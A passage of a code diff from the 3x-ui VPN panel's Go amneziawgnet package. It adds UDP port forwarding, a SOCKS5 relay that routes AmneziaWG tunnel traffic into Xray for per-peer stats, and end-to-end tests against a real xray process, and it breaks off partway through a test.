// udpForwardListener is one open host-facing UDP socket for a single
// portForwardKey, demultiplexing by external source address -- the mirror
// image of AttachUDPHandler/UDPRelay, which demultiplex by tunnel-internal
// source for the opposite direction. net.ListenPacket has no accept/session
// model of its own, so this package tracks sessions itself here, the same
// way UDPRelay already does in relay.go.
type udpForwardListener struct {
pc net.PacketConn
mu sync.Mutex
sessions map[netip.AddrPort]*udpForwardSession
}
// listenPortForwardUDP opens a host-facing UDP socket on key.port and
// starts demultiplexing datagrams into per-source-address tunnel sessions
// toward target(key.email). Bind-failure contract matches
// listenPortForwardTCP exactly: log, return nil, Reconcile retries later.
func listenPortForwardUDP(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) *udpForwardListener {
pc, err := (&net.ListenConfig{}).ListenPacket(context.Background(), "udp", fmt.Sprintf(":%d", key.port))
if err != nil {
logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: listen udp :%d: %v", inboundID, key.email, key.port, err)
return nil
}
l := &udpForwardListener{pc: pc, sessions: map[netip.AddrPort]*udpForwardSession{}}
logger.Infof("amneziawgnet: port-forward: inbound %d peer %q: listening udp :%d", inboundID, key.email, key.port)
go l.readLoop(gstack, inboundID, key, target)
return l
}
func (l *udpForwardListener) readLoop(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) {
buf := make([]byte, 65536)
for {
n, from, err := l.pc.ReadFrom(buf)
if err != nil {
return // closed
}
src, ok := udpAddrPort(from)
if !ok {
continue
}
l.mu.Lock()
sess, exists := l.sessions[src]
l.mu.Unlock()
if !exists {
addr, ok := target(key.email)
if !ok {
continue
}
raddr := tunnelFullAddress(addr, key.port)
conn, err := gonet.DialUDP(gstack, nil, &raddr, tunnelNetwork(addr))
if err != nil {
logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: dial tunnel %s:%d: %v", inboundID, key.email, addr, key.port, err)
continue
}
sess = &udpForwardSession{conn: conn}
l.mu.Lock()
l.sessions[src] = sess
l.mu.Unlock()
go l.pump(src, sess)
}
// buf is reused by the next ReadFrom the instant this loop continues,
// so the session's own goroutine can't be handed a slice into it --
// Write copies synchronously here, on this goroutine, before that
// can happen, so no copy of the payload is needed.
if _, err := sess.conn.Write(buf[:n]); err != nil {
logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: write tunnel: %v", inboundID, key.email, err)
}
}
}
// pump reads replies from sess and writes them back to the external source
// src until the session errors out or goes idle, mirroring UDPRelay.pump's
// exact structure (relay.go) for the opposite direction.
func (l *udpForwardListener) pump(src netip.AddrPort, sess *udpForwardSession) {
defer func() {
l.mu.Lock()
delete(l.sessions, src)
l.mu.Unlock()
sess.conn.Close()
}()
buf := make([]byte, 65536)
for {
_ = sess.conn.SetReadDeadline(time.Now().Add(portForwardUDPIdleTimeout))
n, err := sess.conn.Read(buf)
if err != nil {
return
}
if _, err := l.pc.WriteTo(buf[:n], net.UDPAddrFromAddrPort(src)); err != nil {
return
}
}
}
// Close tears down every open session and the underlying socket.
func (l *udpForwardListener) Close() {
l.mu.Lock()
sessions := l.sessions
l.sessions = map[netip.AddrPort]*udpForwardSession{}
l.mu.Unlock()
for _, sess := range sessions {
sess.conn.Close()
}
l.pc.Close()
}
// udpAddrPort extracts a netip.AddrPort from a net.Addr returned by
// net.ListenPacket's ReadFrom -- always a *net.UDPAddr in practice for a
// "udp" network listener, but handled defensively rather than assumed.
func udpAddrPort(addr net.Addr) (netip.AddrPort, bool) {
udpAddr, ok := addr.(*net.UDPAddr)
if !ok {
return netip.AddrPort{}, false
}
return udpAddr.AddrPort(), true
}
+389
View File
@@ -0,0 +1,389 @@
// Phase 2: relaying a recovered tunnel connection into Xray's own,
// completely stock SOCKS5 inbound -- authenticating as the owning peer's
// email -- is what gives every embedded AmneziaWG connection real, native
// Xray stats/routing/sniffing with no Xray-core fork at all (Finding 3 of
// the migration plan: a stock SOCKS5 inbound sets its per-connection stats
// identity directly from the SOCKS5 auth username).
package amneziawgnet
import (
"context"
"encoding/binary"
"encoding/json"
"fmt"
"io"
"net"
"net/netip"
"sync"
"time"
"golang.org/x/net/proxy"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"gvisor.dev/gvisor/pkg/tcpip/stack"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
)
// SocksRelay describes the loopback SOCKS5 inbound decapsulated AmneziaWG
// traffic gets relayed into.
type SocksRelay struct {
// Addr is the SOCKS5 inbound's own address, e.g. "127.0.0.1:11500".
Addr string
// Password is shared across every account. This traffic never leaves
// loopback, so the password is not a real secrecy boundary -- it only
// needs to satisfy Xray's SOCKS5 inbound requiring *some* username/
// password auth before it will accept a connection and use the
// username as the stats identity. Document this reasoning wherever a
// caller generates or displays it, so it's never mistaken later for a
// real credential.
Password string
}
// SocksInboundSettings builds the JSON `settings` block for a stock Xray
// SOCKS5 inbound with one username/password account per email, all sharing
// password (see SocksRelay's doc comment). udp:true is required: RelayUDP
// depends on the inbound accepting UDP ASSOCIATE, not just CONNECT.
func SocksInboundSettings(emails []string, password string) ([]byte, error) {
type account struct {
User string `json:"user"`
Pass string `json:"pass"`
}
settings := struct {
Auth string `json:"auth"`
UDP bool `json:"udp"`
Accounts []account `json:"accounts"`
}{Auth: "password", UDP: true}
for _, email := range emails {
settings.Accounts = append(settings.Accounts, account{User: email, Pass: password})
}
return json.Marshal(settings)
}
// RelayTCP dials r.Addr, authenticates as email, issues a SOCKS5 CONNECT to
// dest, and pipes bytes both ways until either side closes or errors.
// Blocks until the relay ends; meant to be called from (or as) an
// AttachTCPForwarder handler, which already runs each connection on its own
// goroutine.
func (r SocksRelay) RelayTCP(conn *gonet.TCPConn, email string, dest netip.AddrPort) {
defer conn.Close()
auth := &proxy.Auth{User: email, Password: r.Password}
dialer, err := proxy.SOCKS5("tcp", r.Addr, auth, proxy.Direct)
if err != nil {
logger.Warningf("amneziawgnet: RelayTCP: build SOCKS5 dialer: %v", err)
return
}
upstream, err := dialer.Dial("tcp", dest.String())
if err != nil {
logger.Warningf("amneziawgnet: RelayTCP: SOCKS5 CONNECT to %s as %q: %v", dest, email, err)
return
}
defer upstream.Close()
done := make(chan struct{}, 2)
go func() { _, _ = io.Copy(upstream, conn); done <- struct{}{} }()
go func() { _, _ = io.Copy(conn, upstream); done <- struct{}{} }()
<-done
}
// socks5UDPSession is one established SOCKS5 UDP ASSOCIATE session: udpConn
// is the actual socket packets are sent to (and replies read from); ctrl is
// the TCP control connection that must stay open for the session's
// lifetime -- per RFC 1928, closing it tears the association down.
type socks5UDPSession struct {
ctrl net.Conn
udpConn *net.UDPConn
}
// newSocks5UDPSession performs the SOCKS5 greeting, username/password auth,
// and UDP ASSOCIATE request/reply by hand: golang.org/x/net/proxy's SOCKS5
// client (used by RelayTCP above) only implements CONNECT, and xray-core's
// own proxy/socks/client.go is written against its internal transport
// types, not reusable as a standalone dialer -- so this is a small, direct,
// from-the-RFC implementation rather than an existing library call.
func newSocks5UDPSession(addr, user, password string) (*socks5UDPSession, error) {
dialer := net.Dialer{Timeout: 5 * time.Second}
ctrl, err := dialer.DialContext(context.Background(), "tcp", addr)
if err != nil {
return nil, fmt.Errorf("amneziawgnet: dial SOCKS5 control connection: %w", err)
}
if err := socks5Handshake(ctrl, user, password); err != nil {
ctrl.Close()
return nil, err
}
// UDP ASSOCIATE, dst 0.0.0.0:0 ("I don't know my own source yet, and I
// don't need to specify one for a loopback relay").
if _, err := ctrl.Write([]byte{0x05, 0x03, 0x00, 0x01, 0, 0, 0, 0, 0, 0}); err != nil {
ctrl.Close()
return nil, fmt.Errorf("amneziawgnet: send UDP ASSOCIATE request: %w", err)
}
bind, err := readSocks5Reply(ctrl)
if err != nil {
ctrl.Close()
return nil, err
}
udpConn, err := net.DialUDP("udp", nil, net.UDPAddrFromAddrPort(bind))
if err != nil {
ctrl.Close()
return nil, fmt.Errorf("amneziawgnet: dial SOCKS5 UDP relay endpoint %s: %w", bind, err)
}
return &socks5UDPSession{ctrl: ctrl, udpConn: udpConn}, nil
}
// socks5Handshake performs the version greeting and (if the server
// requires it) username/password auth. Xray's SOCKS5 inbound with
// auth:"password" always requires it; the no-auth branch exists so this
// helper isn't silently wrong against a differently-configured server.
func socks5Handshake(conn net.Conn, user, password string) error {
if _, err := conn.Write([]byte{0x05, 0x02, 0x00, 0x02}); err != nil {
return fmt.Errorf("amneziawgnet: send SOCKS5 greeting: %w", err)
}
var resp [2]byte
if _, err := io.ReadFull(conn, resp[:]); err != nil {
return fmt.Errorf("amneziawgnet: read SOCKS5 greeting reply: %w", err)
}
if resp[0] != 0x05 {
return fmt.Errorf("amneziawgnet: unexpected SOCKS5 version %d", resp[0])
}
switch resp[1] {
case 0x00: // no auth required
return nil
case 0x02: // username/password
req := make([]byte, 0, 3+len(user)+len(password))
req = append(req, 0x01, byte(len(user)))
req = append(req, user...)
req = append(req, byte(len(password)))
req = append(req, password...)
if _, err := conn.Write(req); err != nil {
return fmt.Errorf("amneziawgnet: send SOCKS5 auth: %w", err)
}
var authResp [2]byte
if _, err := io.ReadFull(conn, authResp[:]); err != nil {
return fmt.Errorf("amneziawgnet: read SOCKS5 auth reply: %w", err)
}
if authResp[1] != 0x00 {
return fmt.Errorf("amneziawgnet: SOCKS5 auth rejected (status %d)", authResp[1])
}
return nil
default:
return fmt.Errorf("amneziawgnet: SOCKS5 server offered unsupported auth method %d", resp[1])
}
}
// readSocks5Reply reads a SOCKS5 reply (the common format shared by CONNECT
// and UDP ASSOCIATE replies) and returns its bound address.
func readSocks5Reply(r io.Reader) (netip.AddrPort, error) {
var hdr [4]byte
if _, err := io.ReadFull(r, hdr[:]); err != nil {
return netip.AddrPort{}, fmt.Errorf("amneziawgnet: read SOCKS5 reply header: %w", err)
}
if hdr[0] != 0x05 {
return netip.AddrPort{}, fmt.Errorf("amneziawgnet: unexpected SOCKS5 reply version %d", hdr[0])
}
if hdr[1] != 0x00 {
return netip.AddrPort{}, fmt.Errorf("amneziawgnet: SOCKS5 request failed (reply code %d)", hdr[1])
}
addr, err := readSocks5Addr(r, hdr[3])
if err != nil {
return netip.AddrPort{}, err
}
var portBytes [2]byte
if _, err := io.ReadFull(r, portBytes[:]); err != nil {
return netip.AddrPort{}, fmt.Errorf("amneziawgnet: read SOCKS5 reply port: %w", err)
}
return netip.AddrPortFrom(addr, binary.BigEndian.Uint16(portBytes[:])), nil
}
// readSocks5Addr reads the address portion of a SOCKS5 reply for the given
// address type (IPv4, IPv6, or domain -- resolved locally since a loopback
// Xray inbound is not expected to reply with one, but it's cheap to handle
// correctly rather than fail oddly if it ever does).
func readSocks5Addr(r io.Reader, atyp byte) (netip.Addr, error) {
switch atyp {
case 0x01:
var b [4]byte
if _, err := io.ReadFull(r, b[:]); err != nil {
return netip.Addr{}, err
}
return netip.AddrFrom4(b), nil
case 0x04:
var b [16]byte
if _, err := io.ReadFull(r, b[:]); err != nil {
return netip.Addr{}, err
}
return netip.AddrFrom16(b), nil
case 0x03:
var l [1]byte
if _, err := io.ReadFull(r, l[:]); err != nil {
return netip.Addr{}, err
}
name := make([]byte, l[0])
if _, err := io.ReadFull(r, name); err != nil {
return netip.Addr{}, err
}
resolved, err := net.ResolveIPAddr("ip", string(name))
if err != nil {
return netip.Addr{}, fmt.Errorf("amneziawgnet: resolve SOCKS5 domain reply %q: %w", name, err)
}
addr, ok := netip.AddrFromSlice(resolved.IP)
if !ok {
return netip.Addr{}, fmt.Errorf("amneziawgnet: unparseable resolved SOCKS5 domain reply address")
}
return addr, nil
default:
return netip.Addr{}, fmt.Errorf("amneziawgnet: unsupported SOCKS5 address type %d", atyp)
}
}
// Close ends the UDP ASSOCIATE session: closing ctrl tells the SOCKS5
// server to tear down its relay side too (RFC 1928).
func (s *socks5UDPSession) Close() error {
s.udpConn.Close()
return s.ctrl.Close()
}
// sendTo wraps payload in a SOCKS5 UDP request header addressed to dest and
// sends it to the session's relay endpoint.
func (s *socks5UDPSession) sendTo(dest netip.AddrPort, payload []byte) error {
hdr := make([]byte, 0, 3+1+16+2+len(payload))
hdr = append(hdr, 0x00, 0x00, 0x00) // RSV RSV FRAG(=0, no fragmentation)
if dest.Addr().Is4() {
b := dest.Addr().As4()
hdr = append(hdr, 0x01)
hdr = append(hdr, b[:]...)
} else {
b := dest.Addr().As16()
hdr = append(hdr, 0x04)
hdr = append(hdr, b[:]...)
}
var portBytes [2]byte
binary.BigEndian.PutUint16(portBytes[:], dest.Port())
hdr = append(hdr, portBytes[:]...)
hdr = append(hdr, payload...)
_, err := s.udpConn.Write(hdr)
return err
}
// receive reads one reply datagram into buf, returning the address the
// SOCKS5 server says it came from and the actual payload (a sub-slice of
// buf -- valid only until the next receive call).
func (s *socks5UDPSession) receive(buf []byte) (netip.AddrPort, []byte, error) {
n, err := s.udpConn.Read(buf)
if err != nil {
return netip.AddrPort{}, nil, err
}
data := buf[:n]
if len(data) < 4 {
return netip.AddrPort{}, nil, fmt.Errorf("amneziawgnet: short SOCKS5 UDP reply (%d bytes)", n)
}
atyp := data[3]
data = data[4:]
addr, err := readSocks5Addr(bytesReader{data}, atyp)
if err != nil {
return netip.AddrPort{}, nil, err
}
switch atyp {
case 0x01:
data = data[4:]
case 0x04:
data = data[16:]
}
if len(data) < 2 {
return netip.AddrPort{}, nil, fmt.Errorf("amneziawgnet: truncated SOCKS5 UDP reply port")
}
port := binary.BigEndian.Uint16(data[:2])
return netip.AddrPortFrom(addr, port), data[2:], nil
}
// bytesReader is the minimal io.Reader readSocks5Addr needs, over an
// in-memory slice that's already fully available (a received UDP
// datagram) -- avoids pulling in bytes.Reader just for this.
type bytesReader struct{ b []byte }
func (r bytesReader) Read(p []byte) (int, error) {
n := copy(p, r.b)
if n < len(p) {
return n, io.ErrUnexpectedEOF
}
return n, nil
}
// UDPRelay tracks one SOCKS5 UDP ASSOCIATE session per source (tunnel-
// internal client) flow, relaying each into r's SOCKS5 inbound and writing
// replies back through gstack -- the UDP counterpart of RelayTCP, meant to
// be driven by an AttachUDPHandler callback (see udp.go).
type UDPRelay struct {
relay SocksRelay
gstack *stack.Stack
mu sync.Mutex
sessions map[string]*socks5UDPSession
}
// NewUDPRelay creates a UDPRelay for one embedded AmneziaWG Device's stack.
func NewUDPRelay(relay SocksRelay, gstack *stack.Stack) *UDPRelay {
return &UDPRelay{relay: relay, gstack: gstack, sessions: map[string]*socks5UDPSession{}}
}
// Handle relays one packet from src (the peer's tunnel-internal source) to
// dst (its real, recovered destination), opening a fresh SOCKS5 UDP
// ASSOCIATE session for src the first time it's seen (authenticating as
// email, so Xray attributes the whole flow's stats to the right peer) and
// reusing it for subsequent packets from the same src.
func (u *UDPRelay) Handle(src, dst netip.AddrPort, email string, payload []byte) {
u.mu.Lock()
sess, ok := u.sessions[src.String()]
u.mu.Unlock()
if !ok {
var err error
sess, err = newSocks5UDPSession(u.relay.Addr, email, u.relay.Password)
if err != nil {
logger.Warningf("amneziawgnet: UDPRelay: SOCKS5 associate for %q: %v", email, err)
return
}
u.mu.Lock()
u.sessions[src.String()] = sess
u.mu.Unlock()
go u.pump(src, sess)
}
if err := sess.sendTo(dst, payload); err != nil {
logger.Warningf("amneziawgnet: UDPRelay: send to %s: %v", dst, err)
}
}
// pump reads replies from sess and writes them back into the tunnel toward
// src until the session errors out or goes idle for 2 minutes, then tears
// it down -- both the map entry and the underlying SOCKS5 association.
func (u *UDPRelay) pump(src netip.AddrPort, sess *socks5UDPSession) {
defer func() {
u.mu.Lock()
delete(u.sessions, src.String())
u.mu.Unlock()
sess.Close()
}()
buf := make([]byte, 65536)
for {
_ = sess.udpConn.SetReadDeadline(time.Now().Add(2 * time.Minute))
from, payload, err := sess.receive(buf)
if err != nil {
return
}
if err := WriteUDPReply(u.gstack, from, src, payload); err != nil {
logger.Warningf("amneziawgnet: UDPRelay: reply write: %v", err)
}
}
}
// Close tears down every open session. Call when the owning Device is
// closed.
func (u *UDPRelay) Close() {
u.mu.Lock()
defer u.mu.Unlock()
for k, s := range u.sessions {
s.Close()
delete(u.sessions, k)
}
}
+617
View File
@@ -0,0 +1,617 @@
package amneziawgnet
import (
"encoding/json"
"fmt"
"net"
"net/netip"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
"testing"
"time"
awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
"github.com/amnezia-vpn/amneziawg-go/v3/device"
"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
)
// TestSocksRelayAgainstRealXray is Phase 2's real end-to-end proof: a
// genuine amneziawg-go client completes a real handshake against a Device
// built by NewDevice, dials a real TCP echo server and sends a real UDP
// echo datagram, and this package's own AttachTCPForwarder/AttachUDPHandler
// handlers relay both through RelayTCP/UDPRelay into an *actual xray-core
// process* (not a mock) running a SOCKS5 inbound built by
// SocksInboundSettings. Verifies real data round-trips on both protocols,
// then greps the real process's own debug log for
// "user>>>{email}>>>traffic>>>{up,down}link" -- the same proof Finding 3 of
// the migration plan established manually in Phase 0, now permanent,
// repo-owned test infrastructure. The UDP half in particular is the first
// real test of this package's hand-rolled SOCKS5 UDP ASSOCIATE client
// (relay.go) against an independent, authoritative implementation of the
// protocol rather than a mock this same session wrote.
//
// Skipped unless XRAY_E2E_BINARY points at an xray executable built from
// the same xray-core version as go.mod, matching internal/xray's own
// TestXrayAPI_E2E convention:
//
// go install github.com/xtls/xray-core/main@<version from go.mod>
// XRAY_E2E_BINARY=$GOBIN/main go test ./internal/amneziawgnet -run TestSocksRelayAgainstRealXray -v
func TestSocksRelayAgainstRealXray(t *testing.T) {
bin := os.Getenv("XRAY_E2E_BINARY")
if bin == "" {
t.Skip("set XRAY_E2E_BINARY to an xray binary to run this test")
}
localIP, ok := firstNonLoopbackIPv4()
if !ok {
t.Skip("no non-loopback IPv4 address available on this host")
}
const wantEmail = "e2e-peer@example.com"
const socksPassword = "loopback-only-not-a-real-secret"
// --- real TCP + UDP echo servers on a real, non-loopback address ---
// (dialing 127.0.0.1 as a tunnel-internal destination hangs -- gVisor
// won't route loopback out an arbitrary NIC -- so the client dials
// localIP instead; it must still be a *real* address since the actual
// relay leg is a genuine OS-level dial from the xray-core process, not
// anything inside the tunnel's virtual netstack.)
tcpEcho, tcpEchoAddr := startTCPEcho(t, localIP)
defer tcpEcho.Close()
udpEcho, udpEchoAddr := startUDPEcho(t, localIP)
defer udpEcho.Close()
// --- real embedded AmneziaWG server + client, same shape as Phase 1's tests ---
serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate server keypair: %v", err)
}
clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate client keypair: %v", err)
}
const listenPort = 58715
inst := amneziawg.Instance{
Id: 4,
InterfaceName: "awgtest4",
ListenPort: listenPort,
PrivateKey: serverPriv,
PublicKey: serverPub,
Address: []string{"10.204.0.1/24"},
MTU: 1420,
Obfuscation: amneziawg.Obfuscation31{
Jc: 4, Jmin: 40, Jmax: 70,
S1: 20, S2: 30, S3: 20, S4: 20,
},
Peers: []amneziawg.Peer{{
Email: wantEmail,
PublicKey: clientPub,
AllowedIPs: []string{"10.204.0.2/32"},
}},
}
dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
if err != nil {
t.Fatalf("newUnconfiguredDevice: %v", err)
}
defer dev.Close()
idx := NewPeerIndex(inst.Peers)
// --- real xray-core process with a SOCKS5 inbound built by this package ---
socksPort := freePort(t)
settingsJSON, err := SocksInboundSettings([]string{wantEmail}, socksPassword)
if err != nil {
t.Fatalf("SocksInboundSettings: %v", err)
}
var rawSettings any
if err := json.Unmarshal(settingsJSON, &rawSettings); err != nil {
t.Fatalf("unmarshal generated SOCKS5 settings: %v", err)
}
xrayCfg := map[string]any{
"log": map[string]any{"loglevel": "debug"},
"inbounds": []any{
map[string]any{
"listen": "127.0.0.1",
"port": socksPort,
"protocol": "socks",
"settings": rawSettings,
"tag": "awg-e2e-socks",
},
},
"outbounds": []any{
map[string]any{"protocol": "freedom", "settings": map[string]any{}, "tag": "direct"},
},
"policy": map[string]any{
"levels": map[string]any{
"0": map[string]any{"statsUserUplink": true, "statsUserDownlink": true},
},
},
"stats": map[string]any{},
}
cfgBytes, err := json.MarshalIndent(xrayCfg, "", " ")
if err != nil {
t.Fatalf("marshal xray config: %v", err)
}
cfgPath := filepath.Join(t.TempDir(), "config.json")
if err := os.WriteFile(cfgPath, cfgBytes, 0o644); err != nil {
t.Fatalf("write xray config: %v", err)
}
var xrayLog syncBuffer
cmd := exec.Command(bin, "-c", cfgPath)
cmd.Stdout = &xrayLog
cmd.Stderr = &xrayLog
if err := cmd.Start(); err != nil {
t.Fatalf("start xray: %v", err)
}
defer func() {
_ = cmd.Process.Kill()
_, _ = cmd.Process.Wait()
}()
waitForPort(t, socksPort)
socksAddr := fmt.Sprintf("127.0.0.1:%d", socksPort)
relay := SocksRelay{Addr: socksAddr, Password: socksPassword}
udpRelay := NewUDPRelay(relay, dev.Stack)
defer udpRelay.Close()
AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
srcAddrPort, err := netip.ParseAddrPort(conn.RemoteAddr().String())
if err != nil {
conn.Close()
return
}
peer, ok := idx.Lookup(srcAddrPort.Addr().Unmap())
if !ok {
conn.Close()
return
}
relay.RelayTCP(conn, peer.Email, dest)
})
AttachUDPHandler(dev.Stack, func(src, dst netip.AddrPort, payload []byte) {
peer, ok := idx.Lookup(src.Addr())
if !ok {
return
}
udpRelay.Handle(src, dst, peer.Email, payload)
})
// Configure (IpcSet) must come after both attaches -- see
// newUnconfiguredDevice's doc comment.
if err := dev.Configure(inst, DeviceOptions{}); err != nil {
t.Fatalf("Configure: %v", err)
}
// --- real client, real handshake, real traffic through the whole chain ---
clientTun, clientNet, err := netstack.CreateNetTUN(
[]netip.Addr{netip.MustParseAddr("10.204.0.2")},
[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
if err != nil {
t.Fatalf("client CreateNetTUN: %v", err)
}
clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
defer clientDev.Close()
clientPrivHex, err := wireguard.KeyToHex(clientPriv)
if err != nil {
t.Fatalf("client key to hex: %v", err)
}
serverPubHex, err := wireguard.KeyToHex(serverPub)
if err != nil {
t.Fatalf("server key to hex: %v", err)
}
clientConf := fmt.Sprintf(
"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
clientPrivHex, serverPubHex, listenPort)
if err := clientDev.IpcSet(clientConf); err != nil {
t.Fatalf("client IpcSet: %v", err)
}
if err := clientDev.Up(); err != nil {
t.Fatalf("client Up: %v", err)
}
// TCP round trip.
const tcpMsg = "hello over amneziawgnet+socks5+xray"
dialDeadline := time.Now().Add(10 * time.Second)
var tcpConn interface {
Write([]byte) (int, error)
Read([]byte) (int, error)
Close() error
}
for {
c, dialErr := clientNet.DialContext(t.Context(), "tcp", tcpEchoAddr.String())
if dialErr == nil {
tcpConn = c
break
}
if time.Now().After(dialDeadline) {
t.Fatalf("client TCP dial via tunnel never succeeded: %v", dialErr)
}
time.Sleep(150 * time.Millisecond)
}
defer tcpConn.Close()
if _, err := tcpConn.Write([]byte(tcpMsg)); err != nil {
t.Fatalf("client TCP write: %v", err)
}
tcpBuf := make([]byte, len(tcpMsg))
if _, err := readFull(tcpConn, tcpBuf, 10*time.Second); err != nil {
t.Fatalf("client TCP read: %v", err)
}
if string(tcpBuf) != tcpMsg {
t.Errorf("TCP echo = %q, want %q", tcpBuf, tcpMsg)
}
// UDP round trip.
const udpMsg = "hello-udp-over-socks5"
uconn, err := clientNet.DialUDPAddrPort(netip.AddrPort{}, udpEchoAddr)
if err != nil {
t.Fatalf("client DialUDPAddrPort: %v", err)
}
defer uconn.Close()
udpDeadline := time.Now().Add(10 * time.Second)
var udpBuf [256]byte
var gotUDP string
for time.Now().Before(udpDeadline) {
_ = uconn.SetWriteDeadline(time.Now().Add(300 * time.Millisecond))
if _, err := uconn.Write([]byte(udpMsg)); err != nil {
continue
}
_ = uconn.SetReadDeadline(time.Now().Add(300 * time.Millisecond))
n, err := uconn.Read(udpBuf[:])
if err == nil {
gotUDP = string(udpBuf[:n])
break
}
}
if gotUDP != udpMsg {
t.Fatalf("UDP echo = %q, want %q (xray log follows)\n%s", gotUDP, udpMsg, xrayLog.String())
}
// Real per-peer stats attribution: stop xray so its log is complete, then
// look for both directions' counters keyed by the peer's real email --
// the exact proof Finding 3 established manually in Phase 0.
_ = cmd.Process.Kill()
_, _ = cmd.Process.Wait()
log := xrayLog.String()
wantUp := fmt.Sprintf("user>>>%s>>>traffic>>>uplink", wantEmail)
wantDown := fmt.Sprintf("user>>>%s>>>traffic>>>downlink", wantEmail)
if !strings.Contains(log, wantUp) {
t.Errorf("xray log missing uplink stats counter %q\nfull log:\n%s", wantUp, log)
}
if !strings.Contains(log, wantDown) {
t.Errorf("xray log missing downlink stats counter %q\nfull log:\n%s", wantDown, log)
}
}
// TestManagerEnsureAutomaticallyWiresRelay is Phase 3's own real proof: unlike
// TestSocksRelayAgainstRealXray above (which builds a Device and attaches
// RelayTCP/UDPRelay by hand), this drives everything through the public
// Manager.Ensure entry point the real app actually calls -- confirming
// ensureLocked's own forwarder/UDP-handler attachment (added this phase)
// really does relay a fresh Device's traffic into Xray with zero manual
// wiring from the caller. Uses the exact port/password
// (SOCKSPortForInbound/SocksPassword) the Manager computes internally, so
// this only passes if that internal derivation and the externally-visible
// contract genuinely agree.
func TestManagerEnsureAutomaticallyWiresRelay(t *testing.T) {
bin := os.Getenv("XRAY_E2E_BINARY")
if bin == "" {
t.Skip("set XRAY_E2E_BINARY to an xray binary to run this test")
}
localIP, ok := firstNonLoopbackIPv4()
if !ok {
t.Skip("no non-loopback IPv4 address available on this host")
}
const wantEmail = "manager-e2e-peer@example.com"
const listenPort = 58716
const inboundID = 5
tcpEcho, tcpEchoAddr := startTCPEcho(t, localIP)
defer tcpEcho.Close()
serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate server keypair: %v", err)
}
clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate client keypair: %v", err)
}
inst := amneziawg.Instance{
Id: inboundID,
InterfaceName: "awgtest5",
ListenPort: listenPort,
PrivateKey: serverPriv,
PublicKey: serverPub,
Address: []string{"10.205.0.1/24"},
MTU: 1420,
Obfuscation: amneziawg.Obfuscation31{
Jc: 4, Jmin: 40, Jmax: 70,
S1: 20, S2: 30, S3: 20, S4: 20,
},
Peers: []amneziawg.Peer{{
Email: wantEmail,
PublicKey: clientPub,
AllowedIPs: []string{"10.205.0.2/32"},
}},
}
// A real xray-core process with a SOCKS5 inbound at exactly the port and
// password ensureLocked will derive on its own for this instance --
// SocksPassword() is cached (sync.Once), so calling it here first and
// again inside Manager.Ensure below returns the identical value.
socksPort := SOCKSPortForInbound(inboundID)
password := SocksPassword()
settingsJSON, err := SocksInboundSettings([]string{wantEmail}, password)
if err != nil {
t.Fatalf("SocksInboundSettings: %v", err)
}
var rawSettings any
if err := json.Unmarshal(settingsJSON, &rawSettings); err != nil {
t.Fatalf("unmarshal generated SOCKS5 settings: %v", err)
}
xrayCfg := map[string]any{
"log": map[string]any{"loglevel": "debug"},
"inbounds": []any{
map[string]any{
"listen": "127.0.0.1",
"port": socksPort,
"protocol": "socks",
"settings": rawSettings,
"tag": "awg-e2e-manager",
},
},
"outbounds": []any{
map[string]any{"protocol": "freedom", "settings": map[string]any{}, "tag": "direct"},
},
"policy": map[string]any{
"levels": map[string]any{
"0": map[string]any{"statsUserUplink": true, "statsUserDownlink": true},
},
},
"stats": map[string]any{},
}
cfgBytes, err := json.MarshalIndent(xrayCfg, "", " ")
if err != nil {
t.Fatalf("marshal xray config: %v", err)
}
cfgPath := filepath.Join(t.TempDir(), "config.json")
if err := os.WriteFile(cfgPath, cfgBytes, 0o644); err != nil {
t.Fatalf("write xray config: %v", err)
}
var xrayLog syncBuffer
cmd := exec.Command(bin, "-c", cfgPath)
cmd.Stdout = &xrayLog
cmd.Stderr = &xrayLog
if err := cmd.Start(); err != nil {
t.Fatalf("start xray: %v", err)
}
defer func() {
_ = cmd.Process.Kill()
_, _ = cmd.Process.Wait()
}()
waitForPort(t, socksPort)
// A throwaway Manager, not the process-wide singleton, so this test
// doesn't interact with any other test's state.
m := &Manager{ifaces: map[int]*managed{}}
defer m.StopAll()
if err := m.Ensure(Desired{Instance: inst}); err != nil {
t.Fatalf("Manager.Ensure: %v", err)
}
dev, _, ok := m.Lookup(inboundID)
if !ok {
t.Fatal("Lookup after Ensure: not found")
}
defer dev.Close() // StopAll would also do this; explicit for clarity
clientTun, clientNet, err := netstack.CreateNetTUN(
[]netip.Addr{netip.MustParseAddr("10.205.0.2")},
[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
if err != nil {
t.Fatalf("client CreateNetTUN: %v", err)
}
clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
defer clientDev.Close()
clientPrivHex, err := wireguard.KeyToHex(clientPriv)
if err != nil {
t.Fatalf("client key to hex: %v", err)
}
serverPubHex, err := wireguard.KeyToHex(serverPub)
if err != nil {
t.Fatalf("server key to hex: %v", err)
}
clientConf := fmt.Sprintf(
